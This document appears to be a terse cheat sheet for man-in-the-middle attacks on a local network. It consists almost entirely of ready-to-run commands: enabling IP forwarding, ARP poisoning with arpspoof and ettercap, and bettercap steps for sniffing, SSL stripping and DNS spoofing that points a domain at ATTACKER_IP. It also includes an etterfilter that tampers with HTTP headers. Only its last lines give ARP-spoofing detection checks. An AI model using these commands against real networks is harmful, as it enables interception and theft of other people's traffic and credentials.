MITM Attacks

echo 1 > /proc/sys/net/ipv4/ip_forward

arpspoof -i eth0 -t TARGET_IP GATEWAY_IP
arpspoof -i eth0 -t GATEWAY_IP TARGET_IP

apt install bettercap

bettercap -iface eth0

» net.probe on
» set arp.spoof.targets TARGET_IP
» arp.spoof on
» net.sniff on

» set net.sniff.verbose true
» net.sniff on

» set http.proxy.sslstrip true
» http.proxy on
» arp.spoof on
» net.sniff on

# spoof.cap
set arp.spoof.targets TARGET_IP
arp.spoof on
net.sniff on

bettercap -iface eth0 -caplet spoof.cap

» set dns.spoof.domains target.com
» set dns.spoof.address ATTACKER_IP
» dns.spoof on

ettercap -G

ettercap -T -q -i eth0 -M arp:remote /TARGET_IP// /GATEWAY_IP//

ettercap -T -q -i eth0 -M arp:remote -F filter.ef /TARGET_IP// /GATEWAY_IP//

etterfilter filter.ecf -o filter.ef

if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
        replace("Accept-Encoding", "Accept-Rubbish!");
    }
}

echo 1 > /proc/sys/net/ipv4/ip_forward

# Send fake ARP replies
# Tell target: "I am the gateway"
# Tell gateway: "I am the target"

# Use scapy or arpspoof

# Check ARP table for duplicates
arp -a | sort

# Wireshark filter
arp.duplicate-address-detected